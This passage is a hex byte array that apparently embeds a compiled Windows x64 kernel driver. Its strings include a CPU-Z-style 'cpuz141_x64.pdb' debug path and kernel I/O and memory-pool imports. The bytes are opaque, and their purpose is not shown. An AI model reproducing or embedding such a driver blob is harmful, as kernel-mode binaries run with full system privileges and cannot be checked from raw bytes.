0x73, 0x00, 0x00, 0x00, 0x60, 0x51, 0x00, 0x00, 0x60, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xE8, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x8F, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x44, 0x17, 0x65, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, 0x16, 0x77, 0xEA, 0x61, 0x83, 0x4E, 0xBD, 0x4B, 0x91, 0x1F, 0xDD, 0x05, 0x86, 0xB8, 0x3C, 0x5E, 0x01, 0x00, 0x00, 0x00, 0x64, 0x3A, 0x5C, 0x63, 0x70, 0x75, 0x69, 0x64,
0x5C, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x5C, 0x63, 0x70, 0x75, 0x69, 0x64, 0x73, 0x64, 0x6B, 0x5C, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x73, 0x79, 0x73, 0x5F, 0x63, 0x70, 0x75, 0x7A, 0x5F, 0x31, 0x34, 0x31, 0x5C, 0x6F, 0x62, 0x6A, 0x66, 0x72, 0x65, 0x5F, 0x77, 0x69, 0x6E, 0x37, 0x5F, 0x61, 0x6D, 0x64, 0x36, 0x34, 0x5C, 0x61, 0x6D, 0x64, 0x36, 0x34, 0x5C, 0x63, 0x70, 0x75, 0x7A, 0x31, 0x34, 0x31, 0x5F, 0x78, 0x36, 0x34, 0x2E, 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x05, 0x02, 0x00, 0x05, 0x30, 0x04, 0x32, 0x19, 0x29, 0x09, 0x00, 0x17, 0x64, 0x19, 0x00, 0x17, 0x54, 0x18, 0x00, 0x17, 0x34, 0x17, 0x00, 0x17, 0x01, 0x14, 0x00, 0x10, 0x70, 0x00, 0x00, 0x94, 0x46, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00,
0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x0A, 0x04, 0x00, 0x0A, 0x74, 0x02, 0x00, 0x05, 0x34, 0x01, 0x00, 0x01, 0x12, 0x06, 0x00, 0x12, 0x64, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, 0x12, 0xF2, 0x0B, 0x70, 0x09, 0x2A, 0x0F, 0x00, 0x2A, 0x88, 0x2C, 0x00, 0x25, 0x78, 0x2D, 0x00, 0x21, 0x68, 0x2E, 0x00, 0x1D, 0x01, 0x5E, 0x00, 0x16, 0xF0, 0x14, 0xE0, 0x12, 0xD0, 0x10, 0xC0, 0x0E, 0x70, 0x0D, 0x60, 0x0C, 0x30, 0x00, 0x00, 0xB8, 0x46, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x4C, 0x16, 0x00, 0x00, 0x75, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x16, 0x00, 0x00, 0xAB, 0x16, 0x00, 0x00, 0xD8, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xD8, 0x16, 0x00, 0x00, 0xA8, 0x18, 0x00, 0x00, 0x7F, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x7F, 0x19, 0x00, 0x00,
0xB5, 0x19, 0x00, 0x00, 0x36, 0x1A, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x36, 0x1A, 0x00, 0x00, 0x6C, 0x1A, 0x00, 0x00, 0x24, 0x1B, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x24, 0x1B, 0x00, 0x00, 0x5A, 0x1B, 0x00, 0x00, 0x13, 0x1C, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x13, 0x1C, 0x00, 0x00, 0x68, 0x1C, 0x00, 0x00, 0x87, 0x1C, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x87, 0x1C, 0x00, 0x00, 0x95, 0x1C, 0x00, 0x00, 0xB4, 0x1C, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB4, 0x1C, 0x00, 0x00, 0xC2, 0x1C, 0x00, 0x00, 0xE1, 0x1C, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE1, 0x1C, 0x00, 0x00, 0x2E, 0x1D, 0x00, 0x00, 0x46, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x46, 0x1D, 0x00, 0x00, 0x54, 0x1D, 0x00, 0x00, 0x6C, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x6C, 0x1D, 0x00, 0x00,
0xA2, 0x1D, 0x00, 0x00, 0xC9, 0x1F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC9, 0x1F, 0x00, 0x00, 0xFF, 0x1F, 0x00, 0x00, 0x10, 0x21, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x21, 0x00, 0x00, 0x3E, 0x21, 0x00, 0x00, 0x93, 0x21, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x93, 0x21, 0x00, 0x00, 0xC1, 0x21, 0x00, 0x00, 0x16, 0x22, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x16, 0x22, 0x00, 0x00, 0x4C, 0x22, 0x00, 0x00, 0x81, 0x25, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x81, 0x25, 0x00, 0x00, 0xB7, 0x25, 0x00, 0x00, 0xD2, 0x26, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xD2, 0x26, 0x00, 0x00, 0x08, 0x27, 0x00, 0x00, 0xB6, 0x29, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB6, 0x29, 0x00, 0x00, 0x1D, 0x2A, 0x00, 0x00, 0x95, 0x2B, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x95, 0x2B, 0x00, 0x00,
0xCB, 0x2B, 0x00, 0x00, 0x5E, 0x2E, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5E, 0x2E, 0x00, 0x00, 0x94, 0x2E, 0x00, 0x00, 0x6F, 0x2F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x6F, 0x2F, 0x00, 0x00, 0xA5, 0x2F, 0x00, 0x00, 0x19, 0x30, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x19, 0x30, 0x00, 0x00, 0x78, 0x30, 0x00, 0x00, 0x53, 0x32, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x53, 0x32, 0x00, 0x00, 0x89, 0x32, 0x00, 0x00, 0x13, 0x35, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x13, 0x35, 0x00, 0x00, 0x4C, 0x35, 0x00, 0x00, 0x4F, 0x37, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4F, 0x37, 0x00, 0x00, 0x77, 0x37, 0x00, 0x00, 0x93, 0x38, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x93, 0x38, 0x00, 0x00, 0xB8, 0x38, 0x00, 0x00, 0x9C, 0x3A, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x9C, 0x3A, 0x00, 0x00,
0xD2, 0x3A, 0x00, 0x00, 0x83, 0x3B, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x83, 0x3B, 0x00, 0x00, 0xB9, 0x3B, 0x00, 0x00, 0x60, 0x3F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x60, 0x3F, 0x00, 0x00, 0x96, 0x3F, 0x00, 0x00, 0xDB, 0x41, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xDB, 0x41, 0x00, 0x00, 0x19, 0x25, 0x07, 0x00, 0x13, 0x64, 0x24, 0x00, 0x13, 0x34, 0x23, 0x00, 0x13, 0x01, 0x20, 0x00, 0x0C, 0x70, 0x00, 0x00, 0x94, 0x46, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x20, 0x0C, 0x00, 0x20, 0x64, 0x11, 0x00, 0x20, 0x54, 0x10, 0x00, 0x20, 0x34, 0x0E, 0x00, 0x20, 0x72, 0x1C, 0xF0, 0x1A, 0xE0, 0x18, 0xD0, 0x16, 0xC0, 0x14, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x75, 0x98, 0x00, 0x00, 0x73, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x10, 0x00, 0x00, 0x82, 0x10, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x90, 0x10, 0x00, 0x00, 0xED, 0x10, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x5C, 0x11, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x70, 0x11, 0x00, 0x00, 0xE8, 0x11, 0x00, 0x00, 0x08, 0x52, 0x00, 0x00, 0xF0, 0x11, 0x00, 0x00, 0x26, 0x12, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x30, 0x12, 0x00, 0x00, 0x70, 0x12, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x80, 0x12, 0x00, 0x00, 0x87, 0x13, 0x00, 0x00, 0x14, 0x52, 0x00, 0x00, 0x90, 0x13, 0x00, 0x00, 0x9C, 0x15, 0x00, 0x00, 0x30, 0x54, 0x00, 0x00, 0xB0, 0x15, 0x00, 0x00, 0x01, 0x44, 0x00, 0x00, 0x24, 0x52, 0x00, 0x00, 0x10, 0x44, 0x00, 0x00, 0x7F, 0x45, 0x00, 0x00, 0xE0, 0x51, 0x00, 0x00, 0x90, 0x45, 0x00, 0x00, 0xC0, 0x45, 0x00, 0x00,
0xD8, 0x51, 0x00, 0x00, 0xF8, 0x45, 0x00, 0x00, 0x1F, 0x46, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x28, 0x46, 0x00, 0x00, 0x8B, 0x46, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x94, 0x46, 0x00, 0x00, 0xB1, 0x46, 0x00, 0x00, 0x54, 0x54, 0x00, 0x00, 0xB8, 0x46, 0x00, 0x00, 0x26, 0x48, 0x00, 0x00, 0x5C, 0x54, 0x00, 0x00, 0x40, 0x48, 0x00, 0x00, 0x2A, 0x49, 0x00, 0x00, 0x78, 0x54, 0x00, 0x00, 0x40, 0x49, 0x00, 0x00, 0x58, 0x49, 0x00, 0x00, 0x80, 0x54, 0x00, 0x00, 0x60, 0x49, 0x00, 0x00, 0x61, 0x49, 0x00, 0x00, 0x84, 0x54, 0x00, 0x00, 0x70, 0x49, 0x00, 0x00, 0x71, 0x49, 0x00, 0x00, 0x88, 0x54, 0x00, 0x00, 0x64, 0x80, 0x00, 0x00, 0x82, 0x80, 0x00, 0x00, 0x54, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xF1, 0xE0, 0xFF, 0xFF, 0x48, 0xBA, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x48, 0x3B, 0xC2, 0x75, 0x2F, 0x48, 0x8D, 0x0D, 0xD6, 0xE0, 0xFF, 0xFF, 0x48, 0xB8, 0x20, 0x03, 0x00, 0x00, 0x80, 0xF7, 0xFF, 0xFF, 0x48, 0x8B, 0x00, 0x48, 0x33, 0xC1, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x0F, 0x44, 0xC2, 0x48, 0x89, 0x05, 0xAE, 0xE0, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, 0xAC, 0xE0, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xC2, 0x4C, 0x8B, 0xC9, 0xE8, 0x95, 0xFF, 0xFF, 0xFF, 0x49, 0x8B, 0xD0, 0x49, 0x8B, 0xC9, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x0E, 0x93,
0xFF, 0xFF, 0xCC, 0xCC, 0xE8, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x83, 0x00, 0x00, 0x28, 0x50, 0x00, 0x00, 0xC0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6A, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xB9, 0x01, 0x49, 0x6F, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6F, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0xE5, 0x01, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x8B, 0x00, 0x45, 0x78, 0x46, 0x72, 0x65, 0x65,
0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0x2B, 0x05, 0x52, 0x74, 0x6C, 0x41, 0x6E, 0x73, 0x69, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x54, 0x6F, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xBA, 0x05, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xE3, 0x01, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0xF7, 0x02, 0x4B, 0x65, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x00, 0xB5, 0x05, 0x52, 0x74, 0x6C, 0x49, 